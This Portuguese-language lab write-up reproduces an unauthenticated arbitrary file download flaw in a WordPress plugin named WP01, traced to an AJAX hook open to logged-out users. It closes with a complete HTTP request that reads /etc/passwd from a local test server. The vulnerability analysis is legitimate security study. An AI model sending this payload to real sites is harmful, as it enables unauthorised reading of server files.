Introdução

Download Não Autorizado de Arquivos Arbitrários no WordPress WP01!

Configuração do ambiente

Passo 1: Baixe o plugin WP01, mas...

alt text

Haha, não se preocupe, aqui está o código-fonte do plugin.

Passo 2: Empacote a pasta wp01 fornecida e envie-a para a seção de plugins do WordPress, assim-->

alt text

Análise

É simples — a vulnerabilidade é acionada no seguinte ponto:

alt text

Em seguida, verifique onde o método make_archive é chamado.

alt text

Existem dois hooks de ação AJAX — um para usuários logados e outro para usuários não logados. Essa é a razão da vulnerabilidade de acesso não autorizado.

Certo, agora vamos montar o payload para ler o conteúdo de /etc/passwd na máquina local.

POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
Host: 192.168.43.133
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=8b29e9ec5200189ba7e72e98d4c6d017; WS_ADMIN_URL=ws://192.168.43.133/notice; WS_CHAT_URL=ws://192.168.43.133/msg; wordpress_test_cookie=WP%20Cookie%20check; XDEBUG_SESSION=PHPSTORM; wp01-lang=en; wp_lang=en_US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

target=passwd&path=/etc/

resultados:

alt text